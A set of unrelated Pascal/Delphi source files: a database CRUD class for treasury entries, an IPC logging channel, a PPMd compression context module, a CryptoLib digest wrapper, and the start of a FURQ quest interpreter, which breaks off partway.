// LISTA DE UNITS
type
TLancamento = class
private
// VARIAVEIS PRIVADA SOMENTE DENTRO DA CLASSE
ConexaoDB: TFDConnection;
F_cod_entrada: Integer;
F_nro_documento: Integer;
F_dta_movimento: TDateTime;
F_usuario_inclusao: string;
F_descricao: string;
F_valor: Double;
F_tipo: string;
F_status: string;
F_cod_congregacao: Integer;
F_situacao: Integer;
F_cod_saida: Integer;
public
constructor Create(aConexao: TFDConnection); // CONSTRUTOR DA CLASSE
destructor Destroy; override; // DESTROI A CLASSE USAR OVERRIDE POR CAUSA
function Inserir: Boolean;
function Atualizar: Boolean;
function Apagar: Boolean;
function Selecionar(id: Integer): Boolean;
published
// VARIAVEIS PUBLICAS UTILAIZADAS PARA PROPRIEDADES DA CLASSE
// PARA FORNECER INFORMAÇÕESD EM RUMTIME
property cod_congregacao: Integer read F_cod_congregacao
write F_cod_congregacao;
property cod_entrada: Integer read F_cod_entrada write F_cod_entrada;
property nro_documento: Integer read F_nro_documento write F_nro_documento;
property dta_movimento: TDateTime read F_dta_movimento write F_dta_movimento;
property usuario_inclusao: string read F_usuario_inclusao write F_usuario_inclusao;
property descricao: string read F_descricao write F_descricao;
property valor: Double read F_valor write F_valor;
property tipo: string read F_tipo write F_tipo;
property status: string read F_status write F_status;
property situacao: Integer read F_situacao write F_situacao;
property cod_saida: Integer read F_cod_saida write F_cod_saida;
end;
implementation
{$REGION 'Constructor and Destructor'}
constructor TLancamento.Create;
begin
ConexaoDB := aConexao;
end;
destructor TLancamento.Destroy;
begin
inherited;
end;
{$ENDREGION}
{$REGION 'CRUD'}
function TLancamento.Apagar: Boolean;
var
Qry: TFDQuery;
begin
if MessageDlg('Apagar o Registro: ' + #13 + #13 + 'Código: ' +
IntToStr(F_cod_entrada) + #13 + 'Descrição: ' + F_descricao,
mtConfirmation, [mbYes, mbNo], 0) = mrNO then
begin
Result := false;
Abort;
end;
Try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add
('DELETE FROM tb_tesouraria WHERE cod_entrada=:cod_entrada');
Qry.ParamByName('cod_entrada').AsInteger := F_cod_entrada;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
Finally
if Assigned(Qry) then
FreeAndNil(Qry)
End;
end;
function TLancamento.Atualizar: Boolean;
var
Qry: TFDQuery;
begin
try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('UPDATE tb_tesouraria '+
' SET nro_documento=:nro_documento, dta_movimento=:dta_movimento '+
' , descricao=:descricao, valor=:valor, tipo=:tipo, status=:status, '+
'cod_congregacao=:cod_congregacao, situacao=:situacao,cod_tipo_saida=:cod_tipo_saida WHERE cod_entrada=:cod_entrada');
Qry.ParamByName('cod_congregacao').AsInteger := F_cod_congregacao;
Qry.ParamByName('cod_entrada').AsInteger := F_cod_entrada;
Qry.ParamByName('descricao').AsString := F_descricao;
Qry.ParamByName('situacao').AsInteger := F_situacao;
Qry.ParamByName('nro_documento').AsInteger := F_nro_documento;
Qry.ParamByName('tipo').AsString := F_tipo;
Qry.ParamByName('valor').AsFloat := F_valor;
Qry.ParamByName('dta_movimento').AsDate := F_dta_movimento;
Qry.ParamByName('status').AsString := F_status;
Qry.ParamByName('cod_tipo_saida').AsInteger := F_cod_saida;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
finally
if Assigned(Qry) then
FreeAndNil(Qry)
end;
end;
function TLancamento.Inserir: Boolean;
var
Qry: TFDQuery;
begin
try
Result := True;
Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB;
Qry.SQL.Clear;
Qry.SQL.Add('INSERT INTO tb_tesouraria '+
' (nro_documento, dta_movimento, usuario_inclusao, descricao, '+
' valor, tipo, status, cod_congregacao, situacao,cod_tipo_saida) '+
' VALUES(:nro_documento,:dta_movimento,:usuario_inclusao,:descricao '+
' ,:valor,:tipo,:status,:cod_congregacao,:situacao,:cod_tipo_saida)');
Qry.ParamByName('cod_congregacao').AsInteger := Self.F_cod_congregacao;
Qry.ParamByName('nro_documento').AsInteger := Self.F_nro_documento;
Qry.ParamByName('tipo').Asstring := Self.F_tipo;
Qry.ParamByName('usuario_inclusao').Asstring := Self.F_usuario_inclusao;
Qry.ParamByName('descricao').Asstring := Self.F_descricao;
Qry.ParamByName('valor').AsFloat := Self.F_valor;
Qry.ParamByName('dta_movimento').AsDate := Self.F_dta_movimento;
Qry.ParamByName('situacao').AsInteger := Self.F_situacao;
Qry.ParamByName('status').Asstring := Self.F_status;
Qry.ParamByName('cod_tipo_saida').AsInteger := Self.F_cod_saida;
try
ConexaoDB.StartTransaction;
Qry.ExecSQL;
ConexaoDB.Commit;
except
ConexaoDB.Rollback;
Result:=false;
end;
finally if Assigned(Qry) then FreeAndNil(Qry) end; end;
function TLancamento.Selecionar(id: Integer): Boolean; var Qry: TFDQuery;
begin try Result := True; Qry := TFDQuery.Create(nil);
Qry.Connection := ConexaoDB; Qry.SQL.Clear;
Qry.SQL.Add
('SELECT cod_entrada, nro_documento, dta_movimento, usuario_inclusao, '+
' descricao, valor, tipo, status, cod_congregacao, situacao,cod_tipo_saida '+
' FROM tb_tesouraria WHERE cod_entrada=:cod_entrada ');
Qry.ParamByName('cod_entrada').AsInteger := id;
try Qry.Open; Self.F_cod_congregacao := Qry.FieldByName('cod_congregacao')
.AsInteger; Self.F_cod_entrada := Qry.FieldByName('cod_entrada').AsInteger;
Self.F_nro_documento := Qry.FieldByName('nro_documento').AsInteger;
Self.F_descricao := Qry.FieldByName('descricao').AsString;
Self.F_tipo := Qry.FieldByName('tipo').AsString;
Self.F_situacao := Qry.FieldByName('situacao').AsInteger;
Self.F_valor := Qry.FieldByName('valor').AsFloat;
Self.F_dta_movimento := Qry.FieldByName('dta_movimento').AsDateTime;
Self.F_usuario_inclusao := Qry.FieldByName('usuario_inclusao').AsString;
Self.F_cod_saida := Qry.FieldByName('cod_tipo_saida').AsInteger;
Except Result := false; end;
finally if Assigned(Qry) then FreeAndNil(Qry) end; end;
{$ENDREGION}
end.
|
unit IPCChannel;
{
Copyright (C) 2006 Luiz Américo Pereira Câmara
pascalive@bol.com.br
This library is free software; you can redistribute it and/or modify it
under the terms of the GNU Library General Public License as published by
the Free Software Foundation; either version 2 of the License, or (at your
option) any later version with the following modification:
As a special exception, the copyright holders of this library give you
permission to link this library with independent modules to produce an
executable, regardless of the license terms of these independent modules,and
to copy and distribute the resulting executable under terms of your choice,
provided that you also meet, for each linked independent module, the terms
and conditions of the license of that module. An independent module is a
module which is not derived from or based on this library. If you modify
this library, you may extend this exception to your version of the library,
but you are not obligated to do so. If you do not wish to do so, delete this
exception statement from your version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License
for more details.
You should have received a copy of the GNU Library General Public License
along with this library; if not, write to the Free Software Foundation,
Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
}
{$ifdef fpc}
{$mode objfpc}{$H+}
{$endif}
interface
uses
Classes, SysUtils, {$ifdef fpc}simpleipc{$else}winipc{$endif}, multilog;
const
IPC_DEFAULT_SERVER_NAME = 'ipc_log_server';
type
{ TIPCChannel }
TIPCChannel = class (TLogChannel)
private
{$ifdef fpc}
FoClient: TSimpleIPCClient;
{$else}
FClient: TWinIPCClient;
{$endif}
FoBuffer: TMemoryStream;
FrecClearMessage: TrecLogMessage;
public
constructor Create(const ServerName: String = IPC_DEFAULT_SERVER_NAME);
destructor Destroy; override;
procedure Clear; override;
procedure Deliver(const AMsg: TrecLogMessage);override;
end;
implementation
const
ZeroBuf: Integer = 0;
{ TIPCChannel }
constructor TIPCChannel.Create(const ServerName: string);
begin
with FrecClearMessage do
begin
iMethUsed:=methClear;
//sMsgText:='';
//dtMsgTime:=Now;
//Data:=nil;
//Those are already nil
end;
FoBuffer:=TMemoryStream.Create;
{$ifdef fpc}
FoClient := TSimpleIPCClient.Create(nil);
{$else}
FClient := TWinIPCClient.Create(nil);
{$endif}
with FoClient do
begin
ServerID:=ServerName;
//todo: Start server only when channel is active
if ServerRunning then
begin
Self.Active := True;
Active := True;
end
else
Active := False;
end;
end;
destructor TIPCChannel.Destroy;
begin
FoClient.Destroy;
FoBuffer.Destroy;
end;
procedure TIPCChannel.Clear;
begin
Deliver(FrecClearMessage);
end;
{^^ Explanations:
IPCChannel delivers a specific information: @sSetFilterDynamic_speIPC[1]
}
procedure TIPCChannel.Deliver(const AMsg: TrecLogMessage);
var
SizeOfText, SizeOfSetFilterDynamic_speIPC, SizeOfData: Integer;
sSetFilterDynamic_speIPC: string;
begin
with FoBuffer do
begin
sSetFilterDynamic_speIPC:= MultiLog.TLogChannelUtils.SetofToString(AMsg.setFilterDynamic);
SizeOfSetFilterDynamic_speIPC:= Length(sSetFilterDynamic_speIPC);
SizeOfText:=Length(AMsg.sMsgText);
Seek(0,soFromBeginning);
WriteBuffer(AMsg.iMethUsed,SizeOf(Integer));
WriteBuffer(AMsg.dtMsgTime,SizeOf(TDateTime));
WriteBuffer(SizeOfText,SizeOf(Integer));
if SizeOfText>0 then { if there's a text to write? }
WriteBuffer(AMsg.sMsgText[1],SizeOfText);
WriteBuffer(SizeOfSetFilterDynamic_speIPC,SizeOf(Integer));
if SizeOfSetFilterDynamic_speIPC>0 then { if there's a text to write? }
WriteBuffer(sSetFilterDynamic_speIPC[1],SizeOfSetFilterDynamic_speIPC);
if AMsg.pData <> nil then begin
SizeOfData:= AMsg.pData.Size;
//WriteLn('[IPCChannel] Size Of Stream: ',SizeOfData);
WriteBuffer(SizeOfData,SizeOf(Integer));
AMsg.pData.Position := 0;
CopyFrom(AMsg.pData,SizeOfData);
//WriteLn('DataCopied: ',CopyFrom(AMsg.o_Data,SizeOfData));
end
else
WriteBuffer(ZeroBuf,SizeOf(Integer));//necessary?
end;
FoClient.SendMessage(mtUnknown,FoBuffer);
end;
end.
|
unit PPMdContext;
{$mode objfpc}{$H+}
{$packrecords c}
{$inline on}
interface
uses
Classes, SysUtils, CTypes, Math, CarrylessRangeCoder, PPMdSubAllocator;
const
MAX_O = 255;
INT_BITS = 7;
PERIOD_BITS = 7;
TOT_BITS = (INT_BITS + PERIOD_BITS);
MAX_FREQ = 124;
INTERVAL = (1 shl INT_BITS);
BIN_SCALE = (1 shl TOT_BITS);
type
// SEE-contexts for PPM-contexts with masked symbols
PSEE2Context = ^TSEE2Context;
TSEE2Context = packed record
Summ: cuint16;
Shift, Count: cuint8;
end;
PPPMdState = ^TPPMdState;
TPPMdState = packed record
Symbol, Freq: cuint8;
Successor: cuint32;
end;
PPPMdContext = ^TPPMdContext;
TPPMdContext = packed record
LastStateIndex, Flags: cuint8;
SummFreq: cuint16;
States: cuint32;
Suffix: cuint32;
end;
PPPMdCoreModel = ^TPPMdCoreModel;
TPPMdCoreModel = record
alloc: PPPMdSubAllocator;
coder: TCarrylessRangeCoder;
scale: cuint32;
FoundState: PPPMdState; // found next state transition
OrderFall, InitEsc, RunLength, InitRL: cint;
CharMask: array[Byte] of cuint8;
LastMaskIndex, EscCount, PrevSuccess: cuint8;
RescalePPMdContext: procedure(self: PPPMdContext; model: PPPMdCoreModel);
end;
function MakeSEE2(initval: cint; count: cint): TSEE2Context;
function GetSEE2MeanMasked(self: PSEE2Context): cuint;
function GetSEE2Mean(self: PSEE2Context): cuint;
procedure UpdateSEE2(self: PSEE2Context);
function PPMdStateSuccessor(self: PPPMdState; model: PPPMdCoreModel): PPPMdContext;
procedure SetPPMdStateSuccessorPointer(self: PPPMdState; newsuccessor: PPPMdContext; model: PPPMdCoreModel);
function PPMdContextStates(self: PPPMdContext; model: PPPMdCoreModel): PPPMdState;
procedure SetPPMdContextStatesPointer(self: PPPMdContext; newstates: PPPMdState; model: PPPMdCoreModel);
function PPMdContextSuffix(self: PPPMdContext; model: PPPMdCoreModel): PPPMdContext;
procedure SetPPMdContextSuffixPointer(self: PPPMdContext; newsuffix: PPPMdContext; model: PPPMdCoreModel);
function PPMdContextOneState(self: PPPMdContext): PPPMdState;
function NewPPMdContext(model: PPPMdCoreModel): PPPMdContext;
function NewPPMdContextAsChildOf(model: PPPMdCoreModel; suffixcontext: PPPMdContext; suffixstate: PPPMdState; firststate: PPPMdState): PPPMdContext;
procedure PPMdDecodeBinSymbol(self: PPPMdContext; model: PPPMdCoreModel; bs: pcuint16; freqlimit: cint; altnextbit: cbool);
function PPMdDecodeSymbol1(self: PPPMdContext; model: PPPMdCoreModel; greaterorequal: cbool): cint;
procedure UpdatePPMdContext1(self: PPPMdContext; model: PPPMdCoreModel; state: PPPMdState);
procedure PPMdDecodeSymbol2(self: PPPMdContext; model: PPPMdCoreModel; see: PSEE2Context);
procedure UpdatePPMdContext2(self: PPPMdContext; model: PPPMdCoreModel; state: PPPMdState);
procedure RescalePPMdContext(self: PPPMdContext; model: PPPMdCoreModel);
procedure ClearPPMdModelMask(self: PPPMdCoreModel);
procedure SWAP(var t1, t2: TPPMdState); inline;
implementation
function MakeSEE2(initval: cint; count: cint): TSEE2Context;
var
self: TSEE2Context;
begin
self.Shift:= PERIOD_BITS - 4;
self.Summ:= initval shl self.Shift;
self.Count:= count;
Result:= self;
end;
function GetSEE2MeanMasked(self: PSEE2Context): cuint;
var
retval: cuint;
begin
retval:= self^.Summ shr self^.Shift;
self^.Summ -= retval;
retval:= retval and $03ff;
if (retval = 0) then Exit(1);
Result:= retval;
end;
function GetSEE2Mean(self: PSEE2Context): cuint;
var
retval: cuint;
begin
retval:= self^.Summ shr self^.Shift;
self^.Summ -= retval;
if (retval = 0) then Exit(1);
Result:= retval;
end;
procedure UpdateSEE2(self: PSEE2Context);
begin
if (self^.Shift >= PERIOD_BITS) then Exit;
Dec(self^.Count);
if (self^.Count = 0) then
begin
self^.Summ *= 2;
self^.Count:= 3 shl self^.Shift;
Inc(self^.Shift);
end;
end;
function PPMdStateSuccessor(self: PPPMdState; model: PPPMdCoreModel): PPPMdContext;
begin
Result:= OffsetToPointer(model^.alloc, self^.Successor);
end;
procedure SetPPMdStateSuccessorPointer(self: PPPMdState;
newsuccessor: PPPMdContext; model: PPPMdCoreModel);
begin
self^.Successor:= PointerToOffset(model^.alloc, newsuccessor);
end;
function PPMdContextStates(self: PPPMdContext; model: PPPMdCoreModel): PPPMdState;
begin
Result:= OffsetToPointer(model^.alloc, self^.States);
end;
procedure SetPPMdContextStatesPointer(self: PPPMdContext;
newstates: PPPMdState; model: PPPMdCoreModel);
begin
self^.States:= PointerToOffset(model^.alloc, newstates);
end;
function PPMdContextSuffix(self: PPPMdContext; model: PPPMdCoreModel): PPPMdContext;
begin
Result:= OffsetToPointer(model^.alloc, self^.Suffix);
end;
procedure SetPPMdContextSuffixPointer(self: PPPMdContext;
newsuffix: PPPMdContext; model: PPPMdCoreModel);
begin
self^.Suffix:= PointerToOffset(model^.alloc, newsuffix);
end;
function PPMdContextOneState(self: PPPMdContext): PPPMdState;
begin
Result:= PPPMdState(@self^.SummFreq);
end;
function NewPPMdContext(model: PPPMdCoreModel): PPPMdContext;
var
context: PPPMdContext;
begin
context:= OffsetToPointer(model^.alloc, AllocContext(model^.alloc));
if Assigned(context) then
begin
context^.LastStateIndex:= 0;
context^.Flags:= 0;
context^.Suffix:= 0;
end;
Result:= context;
end;
function NewPPMdContextAsChildOf(model: PPPMdCoreModel;
suffixcontext: PPPMdContext; suffixstate: PPPMdState; firststate: PPPMdState
): PPPMdContext;
var
context: PPPMdContext;
begin
context:= OffsetToPointer(model^.alloc, AllocContext(model^.alloc));
if Assigned(context) then
begin
context^.LastStateIndex:= 0;
context^.Flags:= 0;
SetPPMdContextSuffixPointer(context, suffixcontext, model);
SetPPMdStateSuccessorPointer(suffixstate, context, model);
if Assigned(firststate) then (PPMdContextOneState(context))^:= firststate^;
end;
Result:= context;
end;
// Tabulated escapes for exponential symbol distribution
const ExpEscape: array[0..15] of cuint8 = ( 25,14,9,7,5,5,4,4,4,3,3,3,2,2,2,2 );
function GET_MEAN(SUMM, SHIFT, ROUND: cuint16): cuint16; inline;
begin
Result:= ((SUMM + (1 shl (SHIFT - ROUND))) shr (SHIFT));
end;
procedure PPMdDecodeBinSymbol(self: PPPMdContext; model: PPPMdCoreModel;
bs: pcuint16; freqlimit: cint; altnextbit: cbool);
var
bit: cint;
rs: PPPMdState;
begin
rs:= PPMdContextOneState(self);
if (altnextbit) then bit:= NextWeightedBitFromRangeCoder2(@model^.coder, bs^, TOT_BITS)
else bit:= NextWeightedBitFromRangeCoder(@model^.coder, bs^, 1 shl TOT_BITS);
if (bit = 0) then
begin
model^.PrevSuccess:= 1;
Inc(model^.RunLength);
model^.FoundState:= rs;
if (rs^.Freq < freqlimit) then Inc(rs^.Freq);
bs^ += INTERVAL - GET_MEAN(bs^, PERIOD_BITS, 2);
end
else
begin
model^.PrevSuccess:= 0;
model^.FoundState:= nil;
model^.LastMaskIndex:= 0;
model^.CharMask[rs^.Symbol]:= model^.EscCount;
bs^ -= GET_MEAN(bs^, PERIOD_BITS, 2);
model^.InitEsc:= ExpEscape[bs^ shr 10];
end;
end;
function PPMdDecodeSymbol1(self: PPPMdContext; model: PPPMdCoreModel;
greaterorequal: cbool): cint;
var
states: PPPMdState;
adder, count, firstcount,
highcount, i, lastsym: cint;
begin
model^.scale:= self^.SummFreq;
states:= PPMdContextStates(self, model);
firstcount:= states[0].Freq;
count:= RangeCoderCurrentCount(@model^.coder, model^.scale);
adder:= IfThen(greaterorequal, 1, 0);
if (count < firstcount) then
begin
RemoveRangeCoderSubRange(@model^.coder, 0, firstcount);
if (2 * firstcount + adder > cint(model^.scale)) then
begin
model^.PrevSuccess:= 1;
Inc(model^.RunLength);
end
else model^.PrevSuccess:= 0;
model^.FoundState:= @states[0];
states[0].Freq:= firstcount + 4;
self^.SummFreq += 4;
if (firstcount + 4 > MAX_FREQ) then model^.RescalePPMdContext(self, model);
Exit(-1);
end;
highcount:= firstcount;
model^.PrevSuccess:= 0;
for i:= 1 to self^.LastStateIndex do
begin
highcount += states[i].Freq;
if (highcount > count) then
begin
RemoveRangeCoderSubRange(@model^.coder, highcount - states[i].Freq, highcount);
UpdatePPMdContext1(self, model, @states[i]);
Exit(-1);
end;
end;
lastsym:= model^.FoundState^.Symbol;
// if ( Suffix ) PrefetchData(Suffix);
RemoveRangeCoderSubRange(@model^.coder, highcount, model^.scale);
model^.LastMaskIndex:= self^.LastStateIndex;
model^.FoundState:= nil;
for i:= 0 to self^.LastStateIndex do model^.CharMask[states[i].Symbol]:= model^.EscCount;
Result:= lastsym;
end;
procedure UpdatePPMdContext1(self: PPPMdContext; model: PPPMdCoreModel;
state: PPPMdState);
begin
state^.Freq += 4;
self^.SummFreq += 4;
if (state[0].Freq > state[-1].Freq) then
begin
SWAP(state[0], state[-1]);
model^.FoundState:= @state[-1];
if (state[-1].Freq > MAX_FREQ) then model^.RescalePPMdContext(self, model);
end
else
begin
model^.FoundState:= state;
end;
end;
procedure PPMdDecodeSymbol2(self: PPPMdContext; model: PPPMdCoreModel;
see: PSEE2Context);
var
highcount: cint;
total: cint = 0;
state: PPPMdState;
i, n, count: cint;
ps: array[Byte] of PPPMdState;
begin
n:= self^.LastStateIndex - model^.LastMaskIndex;
state:= PPMdContextStates(self, model);
for i:= 0 to n - 1 do
begin
while (model^.CharMask[state^.Symbol] = model^.EscCount) do Inc(state);
total += state^.Freq;
ps[i]:= state;
Inc(state);
end;
model^.scale += total;
count:= RangeCoderCurrentCount(@model^.coder, model^.scale);
if (count < total) then
begin
i:= 0;
highcount:= ps[0]^.Freq;
while (highcount <= count) do
begin
Inc(i);
highcount += ps[i]^.Freq;
end;
RemoveRangeCoderSubRange(@model^.coder, highcount - ps[i]^.Freq, highcount);
UpdateSEE2(see);
UpdatePPMdContext2(self, model, ps[i]);
end
else
begin
RemoveRangeCoderSubRange(@model^.coder, total, model^.scale);
model^.LastMaskIndex:= self^.LastStateIndex;
see^.Summ += model^.scale;
for i:=0 to n - 1 do model^.CharMask[ps[i]^.Symbol]:= model^.EscCount;
end;
end;
procedure UpdatePPMdContext2(self: PPPMdContext; model: PPPMdCoreModel;
state: PPPMdState);
begin
model^.FoundState:= state;
state^.Freq += 4;
self^.SummFreq += 4;
if (state^.Freq > MAX_FREQ) then model^.RescalePPMdContext(self, model);
Inc(model^.EscCount);
model^.RunLength:= model^.InitRL;
end;
procedure RescalePPMdContext(self: PPPMdContext; model: PPPMdCoreModel);
var
n0, n1: cint;
tmp: TPPMdState;
states: PPPMdState;
numzeros: cint = 1;
i, j, n, escfreq, adder: cint;
begin
states:= PPMdContextStates(self, model);
n:= self^.LastStateIndex + 1;
// Bump frequency of found state
model^.FoundState^.Freq += 4;
// Divide all frequencies and sort list
escfreq:= self^.SummFreq + 4;
adder:= IfThen(model^.OrderFall = 0, 0, 1);
self^.SummFreq:= 0;
for i:= 0 to n - 1 do
begin
escfreq -= states[i].Freq;
states[i].Freq:= (states[i].Freq + adder) shr 1;
self^.SummFreq += states[i].Freq;
// Keep states sorted by decreasing frequency
if (i > 0) and (states[i].Freq > states[i - 1].Freq) then
begin
// If not sorted, move current state upwards until list is sorted
tmp:= states[i];
j:= i - 1;
while (j > 0) and (tmp.Freq > states[j-1].Freq) do Dec(j);
Move((@states[j])^, (@states[j + 1])^, sizeof(TPPMdState) * (i - j));
states[j]:= tmp;
end;
end;
// TODO: add better sorting stage here.
// Drop states whose frequency has fallen to 0
if (states[n - 1].Freq = 0) then
begin
while (numzeros < n) and (states[n - 1 - numzeros].Freq = 0) do Inc(numzeros);
escfreq += numzeros;
self^.LastStateIndex -= numzeros;
if (self^.LastStateIndex = 0) then
begin
tmp:= states[0];
repeat
tmp.Freq:= (tmp.Freq + 1) shr 1;
escfreq:= escfreq shr 1;
until not (escfreq > 1);
FreeUnits(model^.alloc, self^.States, (n + 1) shr 1);
model^.FoundState:= PPMdContextOneState(self);
model^.FoundState^:= tmp;
Exit;
end;
n0:= (n + 1) shr 1;
n1:= (self^.LastStateIndex + 2) shr 1;
if (n0 <> n1) then self^.States:= ShrinkUnits(model^.alloc, self^.States, n0, n1);
end;
self^.SummFreq += (escfreq + 1) shr 1;
// The found state is the first one to breach the limit, thus it is the largest and also first
model^.FoundState:= PPMdContextStates(self, model);
end;
procedure ClearPPMdModelMask(self: PPPMdCoreModel);
begin
self^.EscCount:= 1;
FillChar(self^.CharMask, sizeof(self^.CharMask), 0);
end;
procedure SWAP(var t1, t2: TPPMdState);
var
tmp: TPPMdState;
begin
tmp:= t1;
t1:= t2;
t2:= tmp;
end;
end.
|
{ * CryptoLib Library * }
{ * Copyright (c) 2018 - 20XX Ugochukwu Mmaduekwe * }
{ * Github Repository <https://github.com/Xor-el> * }
{ * Distributed under the MIT software license, see the accompanying file LICENSE * }
{ * or visit http://www.opensource.org/licenses/mit-license.php. * }
{ * Acknowledgements: * }
{ * * }
{ * Thanks to Sphere 10 Software (http://www.sphere10.com/) for sponsoring * }
{ * development of this library * }
{ * ******************************************************************************* * }
(* &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *)
unit ClpDigest;
{$I ..\..\Include\CryptoLib.inc}
interface
uses
HlpIHash,
ClpIDigest,
ClpCryptoLibTypes;
resourcestring
SOutputBufferTooShort = 'Output Buffer Too Short';
type
/// <summary>
/// Hash Wrapper For the Proper Implementation in HashLib4Pascal
/// </summary>
TDigest = class sealed(TInterfacedObject, IDigest)
strict private
var
FHash: IHash;
function GetAlgorithmName: string; inline;
function DoFinal: TCryptoLibByteArray; overload;
public
constructor Create(const hash: IHash);
/// <summary>
/// Gets the Underlying <b>IHash</b> Instance
/// </summary>
function GetUnderlyingIHash: IHash; inline;
/// <summary>
/// the size, in bytes, of the digest produced by this message digest.
/// </summary>
function GetDigestSize(): Int32; inline;
/// <summary>
/// the size, in bytes, of the internal buffer used by this digest.
/// </summary>
function GetByteLength(): Int32; inline;
/// <summary>
/// update the message digest with a single byte.
/// </summary>
procedure Update(input: Byte);
/// <summary>
/// update the message digest with a block of bytes.
/// </summary>
/// <param name="input">
/// the byte array containing the data.
/// </param>
/// <param name="inOff">
/// the offset into the byte array where the data starts.
/// </param>
/// <param name="len">
/// the length of the data.
/// </param>
procedure BlockUpdate(const input: TCryptoLibByteArray; inOff, len: Int32);
/// <summary>
/// Close the digest, producing the final digest value. The doFinal call
/// leaves the digest reset.
/// </summary>
/// <param name="output">
/// the array the digest is to be copied into.
/// </param>
/// <param name="outOff">
/// the offset into the out array the digest is to start at.
/// </param>
function DoFinal(const output: TCryptoLibByteArray; outOff: Int32)
: Int32; overload;
/// <summary>
/// Resets the digest back to it's initial state.
/// </summary>
procedure Reset();
/// <summary>
/// the algorithm name
/// </summary>
property AlgorithmName: String read GetAlgorithmName;
end;
implementation
{ TDigest }
function TDigest.GetAlgorithmName: string;
begin
result := FHash.Name;
end;
function TDigest.GetByteLength: Int32;
begin
result := FHash.BlockSize;
end;
function TDigest.GetDigestSize: Int32;
begin
result := FHash.HashSize;
end;
function TDigest.GetUnderlyingIHash: IHash;
begin
result := FHash;
end;
procedure TDigest.Reset;
begin
FHash.Initialize;
end;
procedure TDigest.BlockUpdate(const input: TCryptoLibByteArray;
inOff, len: Int32);
begin
FHash.TransformBytes(input, inOff, len);
end;
constructor TDigest.Create(const hash: IHash);
begin
Inherited Create();
FHash := hash;
FHash.Initialize;
end;
function TDigest.DoFinal(const output: TCryptoLibByteArray;
outOff: Int32): Int32;
var
buf: TCryptoLibByteArray;
begin
if (System.Length(output) - outOff) < GetDigestSize then
begin
raise EDataLengthCryptoLibException.CreateRes(@SOutputBufferTooShort);
end
else
begin
buf := DoFinal();
System.Move(buf[0], output[outOff], System.Length(buf) *
System.SizeOf(Byte));
end;
result := System.Length(buf);
end;
function TDigest.DoFinal: TCryptoLibByteArray;
begin
result := FHash.TransformFinal.GetBytes();
end;
procedure TDigest.Update(input: Byte);
begin
FHash.TransformUntyped(input, System.SizeOf(Byte));
end;
end.
|
unit furqBase;
interface
uses
Windows,
Classes,
JclStringLists,
furqTypes,
furqContext
;
type
// Собственно интерпретатор. Обрабатывает контекст и устанавливает его в различные состояния.
TFURQInterpreter = class
private
f_OnError: TfurqOnErrorHandler;
function DoAction(anActionData: IFURQActionData): Boolean;
procedure HandleAnykey(aParams: string);
procedure HandleBtn(aArgs: string);
procedure HandleCls(aParams: TFURQClsTypeSet = [clText, clButtons]);
procedure HandleEnd;
procedure HandleForgetProcs;
procedure HandleInput(aName: string);
procedure HandleInstr(aOperand: string);
procedure HandleInv(aOperand: string);
procedure HandleInvKill(aName: string);
procedure HandlePause(aInterval: string);
procedure HandlePerKill;
procedure HandlePrint(const aString: string);
procedure HandlePrintLn(const aString: string);
procedure HandleProc(aLabel: string);
procedure InvMenuJump(aLabelIdx: Integer);
procedure ParseAssigment(aString: string; var theVarName, theExpression: string);
function pm_GetCurLine: string;
function pm_GetEOF: Boolean;
function pm_GetLine: Integer;
procedure pm_SetLine(const Value: Integer);
function UnfoldSubst(const aString: string): string;
function ValidVarName(aVarName: string): Boolean;
procedure CheckVarName(aVarname: string);
function DoActionById(anActionID: string): Boolean;
procedure HandleGoto(aLocation: string);
procedure HandleLoad(const aParams: string);
procedure HandleMusic(aFilename: string);
procedure HandlePlay(aFilename: string);
procedure HandleSave(aParams: string);
procedure HandleQuit;
procedure HandleTokens(aExpression: string);
protected
f_CurContext: TFURQContext;
procedure ApplyParams(aLabelIdx: Integer; aParams: IJclStringList);
procedure EvaluateParams(aParams: IJclStringList);
procedure ExecuteNextCommand;
function HandleExtraOps(const aOperator, aOperand: string): Boolean; virtual;
procedure IncLine;
procedure NotAvailableWhileMenuBuild;
procedure NotAvailableInEvents;
procedure ParseOperators;
property Line: Integer read pm_GetLine write pm_SetLine;
public
procedure Execute(aContext: TFURQContext);
procedure BuildMenu(aContext: TFURQContext; const aActionID: string; aKeepMenuActions: Boolean = False);
property CurLine: string read pm_GetCurLine;
property EOF: Boolean read pm_GetEOF;
property OnError: TfurqOnErrorHandler read f_OnError write f_OnError;
end;
function ParseLocAndParams(const aStr: string; var theLoc: string; var Params: IJclStringList; var theModifier:
TFURQActionModifier): Integer;
implementation
uses
Variants,
SysUtils,
StrUtils,
JclStrings,
furqExprEval;
const
sSubstNotClosed = 'Подстановка не закрыта';
sIncorrectVarName = 'Недопустимое имя переменной: "%s"';
sIncorrectOperator = 'Неизвестный оператор: "%s"';
sNoLocationFound = 'Переход на несуществующую метку: %s';
sIfWithoutThen = 'IF без THEN';
sNoInputVariable = 'Не указана переменная для INPUT';
sIncorrectPauseInterval = 'Некорректный интервал в PAUSE';
sFileNotFound = 'Файл не найден: %s';
sBadLocationSyntax = 'Ошибка в описании целевой локации';
sInvalidLocationForParams = 'Локация с именем "%s" не может быть использована для передачи параметров';
sWrongParams = 'Ошибка в параметрах';
cDOSURQCountVar = 'dosurq_count';
cMaxParams = 50;
function ParseLocAndParams(const aStr: string; var theLoc: string; var Params: IJclStringList; var theModifier: TFURQActionModifier): Integer;
var
l_BLevel: Integer;
l_Lex: TfurqLexer;
l_ParStart: Integer;
l_HasPar : Boolean;
procedure AddParam(aEndPos: Integer);
var
l_ParStr: string;
begin
l_ParStr := Copy(aStr, l_ParStart, aEndPos - l_ParStart);
Params.Add(l_ParStr);
end;
begin
l_Lex := TfurqLexer.Create;
try
